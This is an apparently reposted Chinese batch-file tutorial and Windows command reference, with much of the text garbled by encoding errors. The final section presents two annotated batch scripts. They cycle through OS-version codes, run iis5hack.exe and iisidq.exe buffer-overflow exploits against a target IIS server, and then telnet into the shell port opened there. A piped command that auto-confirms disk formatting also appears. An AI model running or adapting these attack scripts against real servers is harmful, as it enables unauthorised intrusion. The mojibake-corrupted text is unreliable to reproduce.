果在令牌 = 字符串中最后一个字W是星号Q则分配附加的变量Qƈ在解析最后一个o牌后在行上接收剩余的文本?br /> usebackq 指定右引号字符串作为命令执行,单引号字W串是文字字W串命oQ您可以使用双引号包?filenameset 中的文g名?br /> 变量替换
此外Q已l增Z for 变量引用的替换修改程序。现在可以用下列可选的语法Q对于Q何变?IQ:
变量Q用修改程序) 说明
%~I 展开删除了周围的M引号 (") ?%I
%~fI ?%I 展开到完全合格的路径?br /> %~dI 只将 %I 展开到驱动器?br /> %~pI 只将 %I 展开到\?br /> %~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名U?br /> %~aI ?%I 展开到文件的文g属?br /> %~tI ?%I 展开到文件的日期/旉
%~zI ?%I 展开到文件大?br /> %~$PATH:I 搜烦 PATH 环境变量所列出的目?q将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名Q或搜烦后没有找到文Ӟ则此修改E序扩展ؓI字W串?br /> 修改E序可以合ƈ以获得复杂的l果Q?br /> 变量Q用合q的修改E序Q?说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI ?%I 展开到只包含短名U的完整路径?br /> %~dp$PATH:I ?PATH 环境变量所列出的目录中搜烦 %IQƈ展开到第一个找到结果的驱动器号和\?br /> %~ftzaI ?%I 扩展C dir 怼的输
注意
在上q范例中Q?I ?PATH 可被其他有效值替换。通过有效?for 变量名终?%~ 语法?br /> 使用大写变量名(例如 %IQ可以代码更具可读性,q且避免与不区分大小写的修改E序h?/p>

Shift
更改批处理文件中可替换参数的位置?br /> shift
启用命o扩展QWindows 2000 中的默认讄Q后Qshift 命o支持 /n 开养I该开关通知命o在第 n 个参数处开始更改,n 可以是从 0 ?8 的Q何一个倹{例如,
SHIFT /2
?%3 改ؓ %2Q将 %4 改ؓ %3 {等Q?%0 ?%1 保持不变?br /> {选器命o
{选器命o可以帮助您排序、查看和选择部分命o输出l果?br /> 通过{选器命o传递信?br /> {选器命o可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命oQ?br /> more 命o每次昄一屏文件内Ҏ命o输出?br /> find 命o在文件和命o输出中搜索指定字W?br /> sort 命o按字母顺序排列文件和命o输出?br /> 要将输入从文件发送到{选器命oQ请使用于W号 (<)。如果要{选器命o从其他命令获得输入,请用管?(|)?br /> 使用 more 命o来控制屏q显C?br /> more 命o每次一屏地昄文g的内Ҏ命o输出。例如,下面?more 命o每次昄一?List.txt 文g的内容:
more < list.txt
信息昄一屏后Q会出现?More"。要l箋昄下一屏,h键盘上Q意键。要停止命o且不查看详细信息Q请?CTRL+C 键?br /> 如果使用产生多屏输出的命令,more 十分有用。例如,假设定要查看盘的目录树。如?Windows 2000 不能目录在一屏内全部昄出来Q请使用带管道号 (|) ?more 命o?tree 命oQ如下例所C:
tree c:\ | more
tree 命o的第一屏输昄Q后跟词"More"。Windows 2000 暂停Q直到用h键盘上的L键ؓ止(PAUSE 键除外)?br /> 使用 find 命o搜烦文本
find 命o在一个或多个文g中搜索指定文本。Windows 2000 昄每个包含该文本的行。find 命o可以用作{选器命o或者标?br /> ?Windows 2000 命o。有兛_ find 用作标准?Windows 2000 命o的信息,请单?相关主题"列表中的 find?br /> 要将 find 当作{选器命o使用Q请包含于W号 (<) 和搜索的文g名。当输入文g名时Q请C搜烦要区分大写。例如,下面的命令查找文?Trade.txt 中所有的"Pacific Rim"字符Ԍ
find "Pacific Rim" < trade.txt
要保?find 命o的输不是显C出,请用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文?Trade.txt 中所有的
"Pacific Rim"字符Ԍq将l果保存?Nwtrade.txt 文g中:
find "Pacific Rim" < trade.txt > nwtrade.txt
Ҏ本文件排?br /> sort 命o按字母顺序排列文本文件或命o的输出。例如,可以使用以下命o?List.txt 文g的内容进行排序,q在屏幕上显C结果:
sort < list.txt
在此范例中,sort 命o?List.txt 文g的行q行排序q显C结果,但不更改文g。要保存 sort 命o的输不是显C出,请在命o中包含大于号 (>) 和文件名。例如,可以使用以下命o?List.txt 文g的行按字母顺序排序,q将l果存到 Alphlist.txt 文g中:
sort < list.txt > alphlist.txt
要排序命令的输出Q请键入后面带有道 (|) ?sort 命o的命令。例如,下面的命令对 find 命o的输出结果进行排序:
find "Jones" maillst.txt | sort
在键入该命oӞWindows 2000 按字母顺序列出在其中出现"Jones"的行?br /> 带重定向W的合ƈ命o
可以筛选器命o、其他命令和文g名合q以生成自定义命令。例如,可以使用以下命o存储包含"LOG"字符串的文g?
dir /b | find "LOG" > loglist.txt
Windows 2000 通过 find qo器命令发?dir 命o的输出ƈ包含字W串"Log"的文件名存储?Loglist.txt 文g中。将l果存储为文件名列表Q如QA.log、Logdat.svd ?Mylog.batQ?br /> 要在相同命o中用多个筛选器Q请使用道 (|) 分隔{选器。例如,下面的命令搜?C 盘上的每个目录以查找包含"Log"字符串的文g名,q且每次昄一屏:
dir c:\ /s /b | find "LOG" | more
因ؓ使用道 (|)QWindows 2000 通过 find 命o发?dir 命o的输出结果。find 命o只选择包含字符?Log"的文件名。more 命o每次一屏地昄 find 命o选择的文件名?/p>

More
每次昄一个输出屏q。该命o通常用于查看长文件。可以单独用此命oQ或者用它控制其他命o的输出,例如 type 命o。当昄填充可用的查看区域时出?more 提示Q用户可以输入许多命令来控制查看文g其余部分的方式?br /> command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
参数
[drive:][path] filename
指定要显C的文g?br /> command name
指定显C其输出的命令?br /> /c
昄面前清除屏q?br /> /p
扩展换页W?br /> /s
多个空白行更改Z个空白行?br /> /tn
制表位更改?n 个空?br /> +n
昄?n 指定的行开始的W一个文件?br /> files
指定要显C的文g列表。用I格分隔文g名?br /> More 子命?br /> 以下命o?more 提示 (-- More --) 下接受?br /> 关键?操作
space 昄下一c?br /> ENTER 昄下一行?br /> F 昄下一个文件?br /> q 退出?br /> ? 昄可用命o?br /> = 昄行号?br /> P n 昄以下 n 行?br /> S n 跌下面 n 行?/p>

Find
在一个文件或多个文g中搜索指定的文本字符丌Ӏ?br /> 当搜索到指定的文件后Qfind 显C出包含指定字符串的所有行?br /> find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
参数
/v
昄未包含指定字W串的所有行?br /> /c
只显C包含指定字W串的行数?br /> /n
文件行L于每行开头?br /> /I
指定搜烦不区分大写?br /> "string"
指定要搜索的字符l。必d string 的文本包括在引号中?br /> [drive:][path] filename
指定要在其中搜烦指定字符串的文g的位|和名称?/p>

Sort
d输入、排序数据ƈ结果写到屏q、文件和其他讑֤上?br /> sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]
[path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]
[path2]] [/o [drive3:][path3]filename3]
参数
/r
颠倒排序顺序,即从 Z ?A 排序Q然后从 9 ?0 排序?br /> /+n
指定字符位置?nQsort 在此处开始每ơ比较。例如,/+3 表示每次比较在每行的W三个字W开始。少?n 个字W的行在其他行之前排序。默认情况下Q比较在每行的第一个字W开始?br /> /m kilobytes
指定用于排序的主内存数量Q按千字?(KB) 计。用的内存最值L 160 KB。如果指定了内存大小Q则无论有多主内存可用Q指定的切数量Q但臛_ 160 KBQ的内存用于排序?br /> 如果输入输出均ؓ文gQ在没有指定大小Ӟ默认最大内存大ؓ可用d存的 90Q,否则Z内存?45Q。默认设|通常会生最佳的性能?br /> /l locale
替代ql默认区域设|定义的字符排序序Q即在安?Windows 2000 旉择的语a?国家Q地区)"。目前,默认区域讄唯一的备用选项是"C"区域讄Q该区域讄比自然语a排序快,Ҏ二进制编码对字符排序?br /> /rec characters
指定记录或输入文件的行中的最多字W数Q默认gؓ 4096Q最大gؓ 65535Q?br /> [drive1:][path1]filename1
指定要排序的文g。如果没有指定文件名Q则Ҏ准输入排序。指定输入文件比同一文g作ؓ标准输入重定向速度快?br /> /t [drive2:][path2]
指定保留 sort 命o工作存储的目录\径,防止数据不能装入d存。默认ؓ使用pȝ临时目录?br /> /o [drive3:][path3]filename3
指定要存储排序后的输入的文g。如果没有指定,数据写入标准输出。指定输出文件比同一文g作ؓ标准输出重定向速度?



lk 2008-03-06 09:43 发表评论
]]>
_N批处理教程http://m.tkk7.com/lcs/archive/2008/03/06/184139.htmllklkThu, 06 Mar 2008 01:39:00 GMThttp://m.tkk7.com/lcs/archive/2008/03/06/184139.htmlhttp://m.tkk7.com/lcs/comments/184139.htmlhttp://m.tkk7.com/lcs/archive/2008/03/06/184139.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/184139.htmlhttp://m.tkk7.com/lcs/services/trackbacks/184139.html原文Qhttp://www.enet.org.cn/Article/HTML/2167.html

最q好多猜弱口o的病毒在|上行Q比如前D|间闹得很厉害的Worm.Dvldr 蠕虫是一个典型。这些病毒有个共同点是利用批处理来q行ipc$q接Q从而来猜测理员的口o辑ֈ控制服务器的目的。病毒由几个文g和几个复杂的批处理组成。批处理不上真正意义上的编E,但是它的一些思想和编E比较近伹{通过在网上和一些初学的朋友交流Q发C们对于批处理很感兴趣Q多多少了解一些命令的用法Q但~Z比较pȝ的了解,所以特意写下这教E,好让感兴的朋友Ҏ处理有个整体的认识,q能通过该教ED一反三Q写q批处理?br /> 该教E一共分?大部分,W一部分是批处理的专用命令,W二部分是特D的W号与批处理Q第三部分是批处理与变量Q第四部分是完整案例。因为教E比较长Q所有在杂志上我们将分ؓ两次q蝲Q本期首先刊M、二两部分,敬请读者注意?

 

W一部分Q批处理的专用命?/p>

批处理文件是一pd命o按一定的序集合Z个可执行的文本文Ӟ其扩展名为BAT。这些命令统U批处理命oQ下面我来l大家介l一下批处理的命令?br /> 1?REM
REM 是个注释命o一般是用来l程序加上注解的Q该命o后的内容在程序执行的时候将不会被显C和执行。例Q?br /> REM 你现在看到的是注解Q这一句将不会被执行。在以后的例子中解释的内定wREM 会放在REM后面。请大家注意?/p>

2?ECHO
ECHO 是一个回昑֑令主要参数有OFF?ON,一般用ECHO message来显CZ个特定的消息 。例Q?br /> Echo off
Rem 以上代表关闭回显即不昄所执行的命?br /> Echo q个是消息?br /> Rem 以上代表昄“q就是消?#8221;q列字符
执行l果Q?br /> C:\>ECHO.BAT
q个是消息?/p>

3?GOTO
GOTO 即ؓ跌{的意思。在批处理中允许?#8220;QXXX”来构Z个标L后用GOTO Q标L接来执行标号后的命o。例
:LABEL
REM 上面是名ؓLABEL的标受?br /> DIR C:\
DIR D:\
GOTO LABEL
REM 以上E序跌{标号LABEL处l执行?/p>

4、CALL
CALL 命o可以在批处理执行q程中调用另一个批处理Q当另一个批处理执行完后再l执行原来的批处理。例Q?br /> 批处?.BAT内容如下Q?br /> ECHO q就?的内?br /> 批处?.BAT内容如下Q?br /> ECHO q是1的内?br /> CALL 2.BAT
ECHO 1?的内容全部显C完?br /> 执行l果如下Q?br /> C:\>1.BAT
q是1的内?br /> q就?的内?br /> 1?的内容全部显C完?/p>

5、PAUSE
PAUSE 停止pȝ命o的执行ƈ昄下面的内宏V例Q?br /> C:\> PAUSE
hL键l?. . .

6?IF
IF 条g判断语句Q语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
说明Q?br /> [NOT] 返回的l果取反值即“如果没有”的意思?br /> ERRORLEVEL 是命令执行完成后q回的退出?br /> Number 退出值的数字取D?~255。判断时值的排列序应该又大到小。返回的值大于或{于指定的值时条g成立?br /> string1==string2 string1和string2都ؓ字符的数据,英文字符的大写看做不同,q个条g中的{于号必L2个(l对相等Q,条g想等后即执行后面?command
EXIST filename 为文件或目录存在的意思?br /> IF ERRORLEVELq条语句必须攑֜某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的q回倹{?br /> 例:
1?IF [NOT] ERRORLEVEL number command
命令执行完后的q回值做出判断?br /> echo off
dir z:
rem 如果退Z码ؓ1Q不成功Q就跌标题1处执?br /> IF ERRORLEVEL 1 goto 1
rem 如果退Z码ؓ0Q成功)px?处执?br /> IF ERRORLEVEL 0 goto 0
:0
echo 命o执行成功Q?
Rem E序执行完毕跌标题exit处退?br /> goto exit
:1
echo 命o执行p|Q?br /> Rem E序执行完毕跌标题exit处退?br /> goto exit
:exit
Rem q里是程序的出口
2?IF string1==string2 command
当前变量的值做出判?br /> ECHO OFF
IF %1==2 goto no
Echo 变量相等Q?br /> Goto exit
:no
echo 变量不相{?br /> goto exit
:exit
大家可以q样看效?C:\>test.bat 数字

3?IF [NOT] EXIST filename command
发现特定的文件做出判?br /> echo off
IF not EXIST autoexec.bat goto 1
echo 文g存在成功Q?
goto exit
:1
echo 文g不存在失败!
goto exit
:exit
q个批处理大家可以放在c盘和d盘分别执行看看效果?br /> 7?FOR
FORq个命o比较Ҏ是一个@环执行命令的命oQ同时FOR的@环里面还可以套用FOR在进行@环。这我们介l基本的用法׃做套用的循环了,后面再来讲解套用的@环。在批处理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用参数Q?br /> /L 该集表示以增量Ş式从开始到l束的一个数字序列。因此,(1,1,5) 生序?1 2 3 4 5Q?5,-1,1) 生序?(5 4 3 2 1)?br /> /D 如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?/p>

/F 从指定的文g中读取数据作为变?br /> eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br /> delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?br /> tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这会导致额外变量名U的分配。m-n格式Z个范围。通过 nth W号指定 mth。如果符号字W串中的最后一个字W星P那么额外的变量将在最后一个符可析之后分配ƈ接受行的保留文本?br /> usebackq - 指定新语法已在下cL况中使用:在作为命令执行一个后引号的字W串q且一个单引号字符为文字字W串命oq允许在 filenameset中用双引号扩v文g名称?br /> 下面来看一个例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for E序体;用逗号?或空格定界符受请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?%j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,您需要用双引号将文g名括h。ؓ了用q种方式来用双引号Q您q需要?usebackq 选项Q否则,双引号会被理解成是用作定义某个要分析的字W串的?br /> %i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?'z' ?Z' 的变量。请CQFOR 变量名分大小写,是通用的;而且Q同时不能有 52 个以上都在用中?br /> 您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来。这P该字W串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W串。该字符串会被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?br /> 以下列D一个简单的例子Q他说明参?L和没有参数的区别Q?br /> 删除文g1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT
?br /> FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2条命令执行的l果都是一L如下Q?br /> C:\>DEL 1.TXT
C:\>DEL 2.TXT
C:\>DEL 3.TXT
C:\>DEL 4.TXT
C:\>DEL 5.TXT

8?SETLOCAL
开始批处理文g中环境改动的本地化操作。在执行 SETLOCAL 之后
所做的环境改动只限于批处理文g。要q原原先的设|,必须?br /> ?ENDLOCAL?辑ֈ批处理文件结时Q对于该批处理文件的每个
未执行?SETLOCAL 命oQ都会有一个隐含的 ENDLOCAL ?br /> 执行。例Q?br /> @ECHO OFF
SET PATH /*察看环境变量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新讄环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATHW?ơ被昄得时候是pȝ默认路径。被讄成了E:\TOOLS后显CZؓE:\TOOLS但当ENDLOCAL后我们可以看C又被q原成了pȝ的默认\径。但q个讄只在该批处理q行的时候有作用。当批处理运行完成后环境变量PATH会q原?/p>

9?SHIFT
SHIFT命o可以让在命o上的的命令用超q?0个(%0~%9Q以上的可替代参CQ?br /> ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行l果如下Q?br /> C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上是ZWIN2000下的9个批处理命o?/p>

W二部分Q特D的W号与批处理

在命令行下有些符h不允怋用的但有些符号却有着Ҏ的意义?br /> 1?W号(@)
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以x整个批处理的命o回显但却不能不显Cecho offq个命o。现在我们在q个命o前加上@q样echo offq一命op@关闭了回显从而达到所有命令均不回昑־要求
2?W号(>)
>的意思是传递ƈ覆盖。他所L作用是将q行后的回显l果传递到后面的范_后面可是文g也可是默认的pȝ控制収ͼ例:
文g1.txt的文件内容ؓQ?br /> 1+1
使用命oc:\>dir *.txt >1.txt
q时?.txt的内容如?br /> 驱动?C 中的h有标{?br /> L序列h 301A-1508
C:\ 的目?br /> 2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文?18,630,070 字节
0 个目?1,191,542,784 可用字节
>命令执行的l果覆盖了原始的文g内容?br /> 在传递给控制台的时候程序将不会有Q何回显(注意Q这里的回显跟echo offx的回显不是同一概念。Echo offx的是输入命o的回显,q里的回显是E序执行中或后的回显Q例Q?br /> C:\>dir *.txt >nul
E序没有Q何显CZ不会产生M痕迹?br /> 3?W号(>>)
W号>>的作用与W号>怼Q但他们的区别在?gt;>是传递ƈ在文件末追?gt;>也可回显传递给控制収ͼ用法同上Q例Q?br /> 文g1.txt内同为:
1+1
使用命oc:\>dir *.txt >>1.txt
q时?.txt的内容如?br /> 1+1
驱动?C 中的h有标{?br /> L序列h 301A-1508
C:\ 的目?br /> 2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文?18,630,070 字节
0 个目?1,191,542,784 可用字节
>>命令执行的l果覆加在了原始的文件内容后面?br /> 4?W号(|)
|是一个管道传输命令意思是上一命o执行的结果传递给下一命od理。例Q?br /> C:\>dir c:\|find "1508"
L序列h 301A-1508
以上命o的意思ؓ查找c:\的所有ƈ发现1508字符丌ӀFind的用法请?find /?自行查看
在不使用format的自动格式化参数的时候我是这h自动格式化盘片的
echo y|fornat a: /s /q /v:system
用过format命o的h都知道format有一个交互对化过E,要用者输入y来确定当前的命o是否被执行。在q个命o前加上echo yq用道传输W|echo执行的结果y传递给format从而达到手工输入y的目的(q条命o有危x,试的时候请谨慎Q?br /> 5?W号(^)
^ 是对ҎW号 > ?lt;?&、的前导字符。在命o中他以上的3个符LҎ动能L仅仅只吧他们当成W号而不使用他们的特D意义。例Q?br /> c:\>echo test ^> 1.txt
test > 1.txt
从上面可以看出ƈ没有把test写入文g1.txt而是test >1.txt 当字W串昄了出来。这个符号在q程构徏批处理的时候很有效果?
6?W号(&)
&W号允许在一行中使用2个以上不同的命oQ当W一个命令执行失败将不媄响第2个命令的执行。例Q?br /> c:\> dir z:\ &dir y:\ &dir c:\
以上的命令将会连l显Cz: y: c:盘内的内容不理会该盘W是否存在?br /> 7?W号(&&)
&&W号也是允许在一行中使用2个以上不同的命oQ当W一个命令执行失败后后箋的命令将不会再被执行。例Q?br /> c:\> dir z:\ &&dir y:\ &&dir c:\
以上的命令将会提C检查是否存在z:盘如果存在则执行Q如果不存在则停止执行所有的后箋命o
8?W号(" ")
" "W号允许在字W串中包含空根{进入一个特D的目录可以用如下方法例:
c:\>cd “Program Files”
c:\>cd progra~1
c:\>cd pro*
以上Ҏ都可以进入Program Files目录
9?W号Q?Q?br /> ,W号相当于空根{在某些Ҏ的情况下可以?来代替空g用。例Q?br /> c:\>dir,c:\
10?W号(;)
;W号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行q程中发生错误则只返回错误报告但E序q是会l执行。例Q?br /> DIR C:\;D:\;E:\F:\
以上的命令相当于
DIR C:\
DIR D:\
DIR E:\
DIR F:\
当然q有些特D的W号但他们的使用范围很小我就不再q里一一的说明了?/p>

W三部分Q批处理与变?/p>

在批处理中适当的引用变量将会你所~制的程序应用面更广。批处理每次能处理的变量?0~%9?0个。其?0默认l批处理的文件名使用。除非在使用SHIFT命o?0才能?1所替代。引用shift命o的例子如果把%1前面多加上一?0那么l果如下Q?br /> C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
pȝ是如何区分每个变量的呢,pȝ区分变量的规则ؓ字符串中间的I格Q即只要发现I格把I格前面的字W当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名q时候你需要用上一节特D符?中所用的引号他圈v来。例Q?br /> 批处理内容ؓQ?br /> ECHO %1
ECHO %2
ECHO %3
输入命oQ?br /> C:\>TEST “Program Files” Program Files
Program Files
Program
Files
在一个复杂的批处理中又可能同时用的变量会超q?0个这时候会和系l的规则惛_H那么这个问题怎么解决呢?在系l中q有一U变量称之ؓ环境变量Q用SET命o可以查看当前pȝ的环境变量)如当前系l目录是%windir%?SystemRoot%{。当同时使用的参数超q?0个的时候,我们可以把某些在后面的程序中q要调用的变量保存ؓ环境变量。具体用法如 SET A=%1 q样我们命名了一个新的环境变量A 在调用变量A的时候要%A%q样调用Q环境变量不受SHIFT命o影响。如果要改变一个环境变量需要重新对其设|才能改变。当然也可以q行变量与变量之间的传递来辑ֈ目的。下面我们来看一个例子,批处理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 变量的传?br /> SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命oQC:\>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意Q这一行显CZ11个变?br /> A B L 在用了3ơSHIFT之后%9变成了L
B L 变量的传递后的结?/p>


W四部分Q完整案?/p>

以上是批处理的一些用法。现在我们把q些用法l合h详细的分析一下目前网上发布的一些批处理Q看看他们是怎么q作的。这里我列举三个例子来详细分析Qؓ了保持程序的完整我的注释会加?*后面?br /> 例一
q个例子是利用iis5hack.exeҎ.printer漏洞的主行溢出的批处理。用到的E序有iis5hack.exe和系l自带的telnet.exe。iis5hack的命令格式ؓQ?br /> iis5hack <目标ip> <目标端口> <目标版本> <溢出q接端口>目标版本?-9q?0个数字分别对应不同语a版本和sp的系l版本,我们~制的批处理使用的命令格式ؓ <iis.bat 目标ip Q开始版本号Q?gt;开始版本号可有可无。程序如下?br /> @echo off /*关闭命o回显
if "%1%"=="" goto help /*判断%1是否为空Q?1为目标ip
if "%2%"=="1" goto 1 /*判断%2是否?Qؓ1则蟩转标?
if "%2%"=="2" goto 2 /*%2为开始版本号Q如果没有设|则
if "%2%"=="3" goto 3 /*如果存在则从匚w的地方开始执?br /> if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe执行标志fileD内?br /> ping %1 -n 1 | find "Received = 1" /*ping目标1ơ,从结果中发现Received = 1
if errorlevel 1 goto error /*如果q回代码?则执行errorD?代码1为没有发?0为发现ƈ成功执行)
iis5hack %1 80 9 88 | find "good" /*开始溢出目标端?0 pȝ代码9 溢出后连接端?8 在执行结果中发现字符?#8221;good”(溢出成功后才会有字符串good)
if not errorlevel 1 goto telnet /*如果没有错误代码1Q溢出成功)执行telnetD늚内容?br /> echo 操作pȝcd 9 p|! /否则昄q一?br /> :8 /*以下代码内容参照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 8 p|!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 7 p|!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 6 p|!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 5 p|!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 4 p|!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 3 p|!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 2 p|!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 1 p|!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 0 p|!
goto error
:telnet
telnet %1 88 /*开始连接目标ip?8端口
goto exit /*q接中断后蟩转exitD?br /> :error /*errorD|C错误后的帮助信?br /> echo 可能|络不能q接或者对方以修补该漏z?h照下面的格式手工试一?
echo iis5hack [目标IP] [WEB端口] [pȝcd] [开攄口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日语: 4
ECHO 日语+sp1: 5
ECHO 韩文: 6
ECHO 韩文+sp1: 7
ECHO 墨西哥语: 8
ECHO 墨西哥语+sp1: 9
goto exit /*跌{exitD?br /> :file /*fileD|C文件没有发现的信息
echo 文giis5hack.exe没有发现!E序l止q行!
goto exit /*跌{exitD?br /> :help /*helpD|C本批处理的使用格式帮助
echo 本程序用法如?
echo iis [目标ip]
echo iis [目标ip] [开始的L9-0]
:exit /*exitDؓE序出口
q个批处理基本没有什么@环只是一路走下来。所以代码比较长隑ֺ不大Q?br /> 例二
q个例子是用iisidq.exeҎidq漏洞的机器进行溢出的批处理。用的E序有iisidq.exe和系l自带的E序telnet.exe。iisidq.exe的用法如下:
q行参数: 操作pȝcd 目的地址 web端口 1 溢出监听端口 <输入命o1>
其中,如果输入命o参数没有输入,那么,默认?"cmd.exe"?br /> 其中操作pȝcdcd的代码范围是0-14。我们编制的批处理用的命o格式?<idq.bat 目标ip>E序如下Q?br /> @echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*创徏一个环境变量b,变?1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0 /*创徏一个环境变量aq指定环境变量a?。由于用整个批处理的@环所以用a来做计数器?br /> :no /*noD开?br /> if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d讑֮环境变量d=0?br /> if %a%==1 set d=1 /*环境变量d其实是操作系l类型代码,用计数器来控制其
if %a%==2 set d=2 /*变动?br /> if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*变量传递完成后转到标志0处运?br /> :1
echo 正在执行W?d%?与目?b%不能q接!正在试q接L?.....
:0 /*标志0开?br /> IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令ƈ在结果中发现字符串goodQ发送代码成功才会有字符串goodQ?br /> if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成?br /> /*转标?处l尝试发?br /> ping 127.0.0.1 -n 8 >nul /*ping自己8ơ相当于延时8U不昄?br /> /*行结?br /> echo 正在执行W?d%? /*报告正在溢出的操作系l类?br /> telnet %b% 99 /*q接溢出端口
echo. /*昄一个空?br /> if %d%==14 goto error1 /*如果操作pȝcd?4则蟩转error1处(循环出口Q?br /> if %d%==13 set a=11 /*开始用计数器对操作pȝ代码重新附?br /> if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成蟩转noD|?br /> :file /*以下都是出错后的帮助提示
echo IIsidq.exe没有发现!该文g和本文g攑֜同一目录!
goto exit
:error
echo 错误!目标ip不可识别!请用下面的格式q接!
echo idq [目标IP]
goto exit
:error1
echo q接没有成功!可能目标机器已经修补了该漏洞或者网l故障所?
echo h照下面的格式手工试!
echo iisidq [目标cd] [目标IP] [目标端口] [q接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
